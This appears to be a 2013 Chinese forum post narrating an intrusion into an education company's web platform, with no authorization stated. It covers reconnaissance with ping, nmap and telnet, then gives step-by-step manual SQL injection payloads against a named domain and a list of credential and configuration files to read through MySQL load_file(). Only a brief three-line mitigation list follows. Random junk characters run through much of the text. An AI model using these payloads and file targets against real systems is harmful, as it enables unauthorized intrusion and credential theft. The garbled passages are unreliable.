中国网络渗透测试联盟

标题: 记一次Linux系统PHP注入入侵检测 [打印本页]

作者: admin    时间: 2013-2-16 22:23
标题: 记一次Linux系统PHP注入入侵检测
题记:
# D0 Y# F: J8 m& ^$ R9 o2 T一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……2 R1 v6 H& Q, i
第一步:获取需要的信息
# v* ^! J6 z5 I5 \3 ]由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。* s9 O( V; t7 s+ b" T( B0 Z( D
注:以下为保护特用XXX代替敏感信息
( N) v" G. S/ ~顺手先PING了一下他们的域名:- K3 p- E/ o' C: z
ping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)( m% f4 W0 Q% ]8 C% E
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms
' ~0 N+ e0 T$ w: ?- D) v顺便了解一下TTL,学好基础知识才能一路顺风:$ J* c. \# {" J' t, Z, }
TTL:(Time To Live ) 生存时间
8 ~" c! X9 K! e0 F1 m指定数据包被路由器丢弃之前允许通过的网段数量。3 J! }0 C  ]* R" N; `' ^1 O
TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。
) a2 J/ n0 ~" v/ M使用PING时涉及到的 ICMP 报文类型' q0 E0 G  T# |1 l7 c0 R0 U- B
一个为ICMP请求回显(ICMP Echo Request)
3 _% m" r; `, ~4 Q7 V一个为ICMP回显应答(ICMP Echo Reply)
" g: e) b0 Q- e; Q1 FTTL 字段值可以帮助我们识别操作系统类型。% M+ q. v$ h0 k$ s) c  u* U$ ]
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
& G, S) l" l# k' G: XCompaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 642 T* J- h, G. g7 l  W
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128  g, n- q: s6 J! l$ s* B; f6 w2 J
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32) G5 x5 o5 i$ C
当然,返回的TTL值是相同的  C) W. L- B( G. ?$ I9 K
但有些情况下有所特殊0 ^  }2 V; e% P5 m* j9 J8 D& T  U
LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64( ^) X. ~3 K  J3 T
FreeBSD 4.1, 4.0, 3.4;; W% Y7 k5 n% T* z' r
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;
/ a6 K" A% X$ |6 J+ C- C6 tOpenBSD 2.6, 2.7,
& N) E) z% U+ V7 K0 _NetBSD, A* J& J6 F) w  N0 V9 K2 J
HP UX 10.200 a) S. A' N, D. \# v' p: [; F/ K5 c
ICMP 回显应答的 TTL 字段值为 255
+ [' S* [/ \" x7 `: gWindows 95/98/98SE. M) ]; @; o: [0 C. U7 K  Y, U
Windows ME
" ]1 _4 f& v* zICMP 回显应答的 TTL 字段值为 32
7 Z* [) O) p- EWindows NT4 WRKS
0 v: g! F7 D% f$ z5 @3 RWindows NT4 Server
& X- K7 e* R8 I. `/ H3 [Windows 2000
' `# t5 m8 O3 `  Z* h; qWindows XP
. n  |% U/ n* A( NICMP 回显应答的 TTL 字段值为 128
" h2 o& U0 x' \这样,我们就可以通过这种方法来辨别操作系统$ M$ f1 \) |( \6 R2 n
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255
' U6 {/ |# v# p$ |用NMAP扫描一下:# q6 _, @& @! J$ `
nmap -sT -O XXX.XXX.XXX.XXX
2 w6 g. t0 J9 }+ }5 n9 l如果没有装WinPcap则会弹出提示:
7 g/ U2 i- d" ]8 \- G% I. c4 I0 bWARNING: Could not import all necessary WinPcap functions.  You may need to upgr  Z2 Y$ w8 K! D. ?, D
ade to version 3.1 or higher from http://www.winpcap.org.  Resorting to connect(( B% u: f, H7 z8 N) Y& P0 m3 j
) mode — Nmap may not function completely
) c6 Z6 t5 J6 k' ^- u, ]TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher, R' r1 Z6 O8 e. A+ M
and iphlpapi.dll be installed. You seem to be missing one or both of these.  Win
  X" ^7 M. T  ^pcap is available from http://www.winpcap.org.  iphlpapi.dll comes with Win98 an
' n* w  D# x, T( n% Ud later operating sytems and NT 4.0 with SP4 or greater.  For previous windows v- u3 W6 W0 j3 }" ^/ w' f
ersions, you may be able to take iphlpapi.dll from another system and place it i
+ V. e$ d' H1 X( x4 M/ d4 |- en your system32 dir (e.g. c:\windows\system32).
8 D" l! F) s: S0 v7 v5 G9 [QUITTING!6 x% |5 A6 @1 s  Q* G* D
到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe6 e: |" |: {+ c8 D' P0 M- L
安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:: n( V+ v9 a9 R6 ]' g) g
Interesting ports on XXX.XXX.XXX.XXX:4 n, k3 w) i  t6 c
Not shown: 986 closed ports+ n& \! ~0 u# u8 K+ m. ]& r+ f! R
PORT     STATE    SERVICE9 M3 b6 A# j% K1 x6 I
21/tcp   open     ftp, K. l  `3 [$ g0 X2 j
22/tcp   open     ssh7 d+ ?. k& A# K  d! a
23/tcp   open     telnet
( ?! O  U$ ]; J  F2 T2 z80/tcp   open     http- L4 X' i) G! N) k; C) H
111/tcp  open     rpcbind
. I/ }; d; _+ Y! a" Z135/tcp  filtered msrpc' d# V% ?5 S& s5 V
139/tcp  filtered netbios-ssn6 M! g# t2 c1 a4 I) c5 G1 v& u
445/tcp  filtered microsoft-ds
: x4 p' Y1 [* f513/tcp  open     login( H- A% d6 O! ?9 O2 ^. B! F
514/tcp  open     shell  D! x! A# D, @5 w4 H1 U  I+ B7 m
593/tcp  filtered http-rpc-epmap% i' d0 z2 w* F7 Z6 X0 m# a
1720/tcp filtered H.323/Q.931
7 B1 T1 B" J8 s# x3306/tcp open     mysql
' m+ q. \8 K/ Z0 q; S3 u4444/tcp filtered krb524$ w% Z+ C4 B9 ?! Z" g0 z- I
Device type: WAP' D& ?, @/ a& ~0 [, O
Running: Linux 2.4.X- V9 k2 }/ q0 F1 G
OS details: DD-WRT (Linux 2.4.35s)
2 Y) O; ^2 b) f5 v& q2 @1 TNetwork Distance: 13 hops6 E0 S2 ]1 W( {1 V/ e$ u/ t4 C+ t8 Q
看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:: _4 P: b, K+ K. P1 O
login as:
4 ?* X5 Q% z5 d' ^- L" ^5 fTelnet23端口也是开着的,用telnet 命令链接一下:
$ W: c; s% D) a  x% V7 O( F0 r; dtelnet XXX.XXX.XXX.XXX
) H. n/ p  g. e提示:5 l/ L) b: Z  m9 O
Red Hat Enterprise Linux Server release 5.2 (Tikanga)
1 r0 X: w1 C0 J  O8 ZKernel 2.6.18-92.el5PAE on an i686
1 H8 {1 ^- ?5 _4 vlogin:
& O& l/ v% K  g5 U获取HTTP头信息:
$ Y- B( P: A1 r1 g2 e; Z0 W在本地执行如下PHP代码6 K: F5 t" t; F  E- c
<?php" u$ F0 L$ F2 Z
$url = ‘XXX.XXX.XXX.XXX’;
3 a' `7 M7 ?7 _+ c3 Z" K2 V5 A& Eprint_r(get_headers($url));* u/ _2 @+ N4 d& {: q3 m; @
print_r(get_headers($url, 1));, l( U3 l. T# a
?>
1 i' q" `6 D1 E将以上代码保存为PHP文件,执行:9 S9 I. \6 O) D) R& a3 f' ?
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
2 N4 q- \6 f/ u% g! V8 j5 N# @现在可以得出结论:  k3 I5 l& g" P( d9 e8 X7 `
系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)8 F* F& [5 d  n9 a- M, M4 I
内核版本:Kernel 2.6.18-92.el5PAE on an i686) V; I5 @. Z- f  l2 |1 O' m, J! ^3 c
WEB服务器版本:nginx/0.7.61' V1 \: R6 g8 m4 T: }3 m4 F
第二步,开始测试寻找漏洞
: f" [! K  Z0 ~分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
0 `' i6 B0 ?  Y/ e1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的. P" b3 u7 J$ |5 \: W2 W" N
2、测试方法:在地址后加 and 1=1 和 and 1=2 测试- K$ Q4 r, u0 \. o& ~7 Z
http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常8 c1 R- [, w$ |1 B. T5 {  |
http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
/ A: a. w/ i$ X" K( o恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续
* q  ]0 M2 s3 z$ M3、手工注入:
/ m- l( {4 @$ x' \/ ?4 V8 k- i" R0 J注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。, m$ r& [9 [  M: R& s( m
3.1 猜测当前表字段数4 _, Q3 L  z: N# v
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
! e" H9 M% p2 x& F. F  q% G  w5 ^此处猜测有个简单的算法,都是有技巧的吗,呵呵* S; a6 J' z! {# Y
算法简单如下:
3 M3 Z* p3 V/ Y; g* e第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;  ?# P$ a: N5 Y2 [2 ^% ~
第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;7 t% ~' B) ~' F
需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。$ {" j3 f0 @& s- L$ Q* T" h
以此来判断,是否过界,配合取中算法猜出字段数。1 I( i) R6 I1 r# A3 W0 X
举例:
7 D) C3 F( t* E1 p+ K0 Whttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常
$ ~8 |% r7 Q# a2 D) b# fhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误, N& K. r" |0 ^. z
此时3则为我们要找的字段数。2 J8 U. l3 Z3 K+ t, U
3.2 配合union联合查询字段在页面所位置
  D1 m: _% j6 V2 K" ?我们已经知道了字段数为3,此时则可以做如下操作:
6 R3 R. m" N6 d# B& S$ Z! W6 rhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,35 Q# V& m3 T/ a$ x
6 j$ h& a$ o& f; t
这样就可以测试到哪些字段在页面上有所显示了,如图:1 C  t% n7 E  m; ]
: b" a" f7 l* b* e0 L( x" N! C
3.3 查敏感信息- E9 K1 M5 z" v2 u1 K7 @
这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。  K& S) D9 B% I% D$ a& B
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()
. E/ s3 X5 R: b$ M: p7 R3 f3.3.1 先查数据库用户、数据库名,以备后用,如图:- R. H: b+ _& ]7 d0 Y& _1 ]
' j; e, n3 |2 V1 i7 N. |
得到数据库用户为root、数据库名为DBxx;
+ d6 m5 `$ ]  f# a- b3.3.2 查配置文件' a0 Q# t4 a* l# ~' T1 {2 c: p
查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。
% w' U- H* N" I; n: y! {查看文件有一定的条件限制:5 C, {4 C' ^( ?% n
欲读取文件必须在服务器上& Q; d8 d7 {" P% w
必须指定文件完整的路径' \6 s% j# \/ M2 C% y0 o) O
必须有权限读取并且文件必须完全可读2 I* \  w1 s& d( k# s+ w
欲读取文件必须小于 max_allowed_packet
; ~' k! Q/ k1 n1 [MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。
+ {4 P& n# x5 X! ?8 y: v常用的一些:
- c! T3 Z1 W0 t& f  S' ]. V/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
' {$ H+ e* L" S" a2 e/usr/local/apache2/conf/httpd.conf
6 x  b  s% C5 D0 ^- t/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置4 |& z0 F1 |& e+ p" ]( c
/usr/local/app/php5/lib/php.ini //PHP相关设置7 R6 B6 L* a" p4 H! S# P
/etc/sysconfig/iptables //从中得到防火墙规则策略1 ~1 A! I% T4 G# P0 X
/etc/httpd/conf/httpd.conf // apache配置文件
/ Y( X* a. k1 J- b3 s/ C/etc/rsyncd.conf //同步程序配置文件: k! t3 p/ {0 I! j
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.* X$ _2 N0 N) z: I
/etc/my.cnf //mysql的配置文件
$ S4 ~+ q& o! e. F1 h+ m% ~/etc/redhat-release //系统版本
/ P6 j# R: r7 E/etc/issue
8 F3 F. L1 ^; F) ]7 c) J7 I/etc/issue.net
' w( n* M# Q8 |& v0 qc:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
2 ?7 n" g% R! Y! q2 X) Qc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码. [2 O: o8 ~9 }$ J5 X
c:\Program Files\Serv-U\ServUDaemon.ini; x; L1 I% u" J+ t$ S
c:\windows\my.ini //MYSQL配置文件! P5 m0 D: k; `0 E! B) s3 t
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件* R5 b( f, T4 y/ H  T
等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,
/ ]0 H( i" D  E$ w, J+ s6 Dc:\windows\repair\sam //存储了WINDOWS系统初次安装的密码8 Y$ T% A2 m  c& t6 E6 \5 m6 E8 F
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
$ u: M1 V& P7 E" @, x) @! @/ bc:\Program Files\RhinoSoft.com\ServUDaemon.exe
$ ]3 C/ n. {3 q5 X: b3 y3 pC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件- ]! h; e6 g# l9 M  Z1 g
//存储了pcAnywhere的登陆密码6 X3 X: d/ E3 t
由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
, L& X  n' Z) S6 G3 S这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
, o' z* n: x9 k) T) p最后:防范措施3 G+ m- D7 J4 J  A7 i% D+ _
1、修复PHP注入漏洞;
3 w2 q" x' Y/ J3 F% A* P' N+ {4 Z2、Mysql使用普通权限的用户;
' M  T) b( D* [- n" C3、升级linux内核至最新版本;




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2